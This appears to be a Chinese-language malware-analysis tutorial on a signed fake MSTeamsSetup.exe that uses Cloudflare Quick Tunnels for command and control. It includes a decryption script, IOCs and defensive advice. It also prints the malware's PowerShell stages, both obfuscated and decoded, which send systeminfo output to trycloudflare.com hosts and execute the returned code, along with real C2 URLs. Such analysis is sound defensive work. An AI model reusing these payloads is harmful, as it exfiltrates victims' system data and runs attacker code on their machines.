一款用国内签名+Cloudflare隧道的可疑样本分析
字数 2613 2025-12-06 12:10:41
恶意样本分析教学:国内签名与Cloudflare隧道结合的攻击手法
一、样本概述
1.1 样本基本信息
样本名称:MSTeamsSetup.exe
文件大小:56336字节
文件版本:1.3.0.2
哈希值:
- MD5:6D22E2A3AFA9981F2E9E6A62EE43A6D1
- SHA1:319AC60135CE00D4C30B9EA3515D2833C560DD8D
- SHA256:6b1251fb7b4f9458922c94f0abd0584fd891860ec12fee5da428b7b6dc1136f0
1.2 核心特征
- 携带国内合法数字签名
- 使用Cloudflare Quick Tunnels(trycloudflare.com)进行外联通信
- 采用多阶段载荷下载机制
- 具备动态配置能力
二、技术分析详解
2.1 数字签名分析
样本使用了以下两家国内公司的数字签名:
- 四川格玛斯农业科技有限公司(Sichuan Agromax Technology Co., Ltd.)
- 广州市万斯光电科技有限公司(Guangzhou Vance Photoelectric Technology Co., Ltd.)
教学要点:合法数字签名的滥用是高级攻击的常见手法,可绕过基础安全检测。
2.2 字符串解密技术
样本内置了专门的解密函数,用于解密API函数名、外联地址等关键字符串。
解密函数逻辑:
def decrypt_at(addr, length):
table = [get_byte(0x40B060 + i) for i in range(4)]
key = length & 0xFF
data = ''
for i in range(length):
key = (key + i + key) & 0xFF
xor_val = key ^ table[i & 3]
orig = get_byte(addr + i)
data = data + chr(orig ^ xor_val)
return data[2:]
IDA Pro辅助分析脚本:
from ida_bytes import *
from idautils import *
def decrypt_at(addr, length):
table = [get_byte(0x40B060 + i) for i in range(4)]
key = length & 0xFF
data = ''
for i in range(length):
key = (key + i + key) & 0xFF
xor_val = key ^ table[i & 3]
orig = get_byte(addr + i)
data = data + chr(orig ^ xor_val)
print(data[2:])
# 解密示例
decrypt_at(0x40A130, 23)
2.3 API获取机制
样本中发现了特殊的API获取函数sub_4018B7,该函数虽然接收三个参数,但实际只返回第三个参数(函数地址)。这种设计可能是为了增加分析难度。
2.4 多线程架构
样本运行后创建两个独立线程:
线程1功能:
- 从合法地址下载官方MSTeamsSetup.exe程序
- 保存至%temp%目录
- 根据文件后缀判断执行方式:
- .msi文件:使用
msiexec.exe /i命令 - 其他文件:使用
cmd.exe /c命令
- .msi文件:使用
- 通过CreateProcessA执行下载的程序
线程2功能:
- 从Cloudflare隧道地址下载第二阶段载荷
- 通过PowerShell执行后续攻击链
2.5 网络通信特征
HTTP请求格式:
GET %s HTTP/1.1
Host: %s
User-Agent: PowerShell
Connection: close
使用的Cloudflare隧道地址:
- http://terry-but-graphical-earning.trycloudflare.com/dbc1d62vba13as.html
- http://recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom
三、第二阶段载荷分析
3.1 载荷内容
$GRYyEAWELrD = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("cmVjcmVhdGlvbi1wYXNzZWQta2VlcC1zYWZlbHkudHJ5Y2xvdWRmbGFyZS5jb20vNmJwMWhQdzNLUXVpb20="))
$RPQOLXSkSufTv = $(systeminfo|out-string)
$FiHbxUBycH = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFt"))
$crYFdmjWhWBcYj = irm $GRYyEAWELrD -method POST -b $RPQOLXSkSufTv -content $FiHbxUBycH
Invoke-Expression $crYFdmjWhWBcYj
3.2 功能解析
解码后的实际命令:
Invoke-Expression (irm "recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom" -Method POST -Body $(systeminfo | Out-String) -ContentType "application/octet-stream")
执行流程:
- 执行systeminfo命令收集系统信息
- 通过POST请求将系统信息上传至C2服务器
- 执行服务器返回的第三阶段载荷
四、关联样本分析
4.1 扩展样本信息
通过关联分析发现多个同家族样本:
样本1:
- 文件名:hisar_so.exe
- 哈希:10e1f86cdf8ebf1407fda8da1efc8003626ab507c36d89d5f7db772dfd8edc45
- 外联地址:http://answering-trees-vacuum-envelope.trycloudflare.com/5QgxkqT
样本2:
- 文件名:zohoinstall.exe
- 哈希:254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0
- 外联地址:http://population-cups-lang-hearings.trycloudflare.com/second.html
4.2 PowerShell混淆技术分析
zohoinstall.exe样本使用了高级混淆技术:
原始混淆代码:
${Write-Error -ArgumentList -DestinationPath %TEMP% && ($gnci)} = "KCgnSU1ye3V1JysnSjMnKydSbH0gPSAoRTlGezEnKyc1JysnfScrJ3sxJysnNn17JysnMTB9ezE3fXszfXsnKycxM317MScrJzF9ezF9eycrJzl9ezJ9JysneycrJzE0JysnfScrJ3s3fScrJ3snKycxMn17NX17NH17OH17NicrJ317MH1FJysnOScrJ0YgLWZVJysnTHZKa2wnKydSY1dVTHYsVScrJ0x2c1VMdixVTHYnKyctJysnc3BVJysnTHYsVUx2ZVVMdiwnKydVTHZvdWRVTHYsVUwnKyd2bFVMdixVTHYuY28nKydtL1EyREdyJysncDRVTHYsJysnVUx2dCcrJ3JVTHYsVScrJ0x2JysnZmxhJysncmVVJysnTHYsVUx2ZScrJ2QnKydVTCcrJ3YsJysnVUx2d2FVTHYsJysnVUx2Jysnb1VMdixVTHZ5Y1VMdixVTHZ4cFVMdixVTHZyaW50JysnLlVMJysndiwnKydVTHYnKydqYXBhJysnblVMdixVTHYtVUx2LCcrJ1VMdnJzJysnLScrJ1VMJysndikKSU1ye0JvdUonKyczRFknKyd9ID0gSU1yKC4oJysnRTlGezJ9ezB9ezF9RTlGJysnIC1mVUx2ZW1pbicrJ1UnKydMdicrJyxVTHYnKydmJysnbycrJ1VMdixVTHZzJysneXN0VUx2KScrJ2dHbCYnKycoRScrJzlGeycrJzF9ezN9ezB9JysnezInKyd9JysnRScrJzlGIC1mVUx2aVVMdicrJyxVTHZvdScrJ3Qtc3RVJysnTHYnKycsVScrJ0x2bmdVTCcrJ3YsVUx2clVMdicrJyknKycpCklNcntDTycrJ051SjMnKydURW51JysnSjNUJysndUozJysnVHlQZX0gPSAoRTlGezF9ezV9eycrJzN9ezInKyd9ezR9ezB9ezZ9RTlGLWYgVUwnKyd2c3RyZVVMdixVJysnTHZhcHAnKydVJysnTHYsJysnVUx2JysndCcrJ2UnKydVTCcrJ3YsJysnVUx2Y1VMdiwnKydVTHZ0LVVMJysndiwnKydVJysnTHZsaScrJ2NhdGlvJysnbi9vVUx2LCcrJ1VMdmFtVUx2KQoKSScrJ01yeycrJ0knKyd1SjNSRVN9JysnID0gJysnJihFOUYnKyd7JysnMn17JysnMH17M317MX17JysnNX0nKyd7NH1FOUYnKycgLWYgJysnVUwnKyd2JysnbicrJ3Zva2UtVUx2LFVMdmVzVUx2JysnLFVMJysndklVTHYsVUx2UlVMdixVTHZ0aG9kVUx2LFVMdnRNZVVMJysndikgSScrJ01ye3V1SjNSTH0gLW0nKydldGhvZCAoRTlGezB9JysnezF9JysnRTlGIC1mICcrJ1VMdlBVTHYsVUx2JysnT1NUJysnVUx2JysnKSAtYiBJTXJ7QnVKMycrJ09kWScrJ30nKycgLScrJ2NvbicrJ3QnKydlJysnbnQgSU1ye0NvdUozJysnTlQnKyd1SicrJzNFJysnTnR1SjMnKydUWVAnKydFfQonKycKJysnLihFOScrJ0Z7M30nKyd7MX17JysnMCcrJ317Mn1FOUYtZlUnKydMJysndnMnKydzaScrJ1UnKydMdiwnKydVJysnTHZFeHByJysnZVVMdixVTHYnKydvblVMdixVTHZJbicrJ3Zva2UtVUx2KSBJTXJ7JysnaVJ1SjNlc30KJysnCicpIC1yRXBMYUNFJ3VKMycsW0NIYVJdOTYgLXJFcExhQ0UgIChbQ0hhUl03MytbQ0hhUl03NytbQ0hhUl0xMTQpLFtDSGFSXTM2ICAtckVwTGFDRShbQ0hhUl02OStbQ0hhUl01NytbQ0hhUl03MCksW0NIYVJdMzQgLUNyRXBsQWNlICdnR2wnLFtDSGFSXTEyNCAgLXJFcExhQ0UnVUx2JyxbQ0hhUl0zOSl8JiggJHBzSG9NRVs0XSskcHNob01FWzM0XSsnWCcpCg=="
去混淆方法:
- Base64解码获取第二层混淆代码
- 变量替换和字符串拼接还原
- 最终得到清晰的可执行代码
去混淆后代码:
${uRL} = "japan-wars-exposed-sprint.trycloudflare.com/Q2DGrp4JklRcW"
${BoDY} = systeminfo | Out-String
${CONTEnTTyPe} = "application/octet-stream"
${IRES} = Invoke-RestMethod ${uRL} -method POST -b ${BoDY} -content ${CONTEnTTyPe}
Invoke-Expression ${iRes} | &('ieX')
五、攻击手法技术要点
5.1 Cloudflare隧道滥用
- 服务性质:Cloudflare Quick Tunnels是合法开发工具
- 攻击利用:提供匿名化的C2通信通道
- 检测挑战:使用trycloudflare.com域名难以区分善恶
5.2 动态载荷配置
攻击者能够实时更新载荷内容,表现为:
- 不同时间点捕获的样本使用不同隧道地址
- 载荷内容可根据需要动态调整
- 具备快速切换基础设施的能力
5.3 家族归属分析
虽然部分平台标记为Vidar Infostealer,但技术特征对比显示差异:
- 缺少Vidar特有的信息窃取功能
- 攻击链设计更为复杂
- 可能为新的攻击组织或定制化工具
六、检测与防护建议
6.1 检测指标(IOCs)
样本哈希:
- 6b1251fb7b4f9458922c94f0abd0584fd891860ec12fee5da428b7b6dc1136f0
- 10e1f86cdf8ebf1407fda8da1efc8003626ab507c36d89d5f7db772dfd8edc45
- 0ff3c8f943b1d27f8b5ecd08c5929fe81ed6a7e5f9df80bc291e704aa68d7fed
- 254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0
网络指标:
- trycloudflare.com域名的异常访问
- PowerShell进程的异常网络连接
- 特定User-Agent(PowerShell)的HTTP请求
6.2 防护措施
- 签名验证:不单纯依赖数字签名作为可信依据
- 网络监控:监控trycloudflare.com域名的企业访问
- 行为检测:关注多阶段PowerShell执行行为
- 沙箱分析:对可疑样本进行动态行为分析
七、总结
本案例展示了现代恶意软件的高级特征:合法工具滥用、多阶段载荷、动态配置能力。分析人员需要掌握字符串解密、代码去混淆、网络行为分析等多方面技能,才能有效应对此类威胁。Cloudflare等云服务的滥用将成为未来攻击的常见手法,需要持续关注相关检测技术的发展。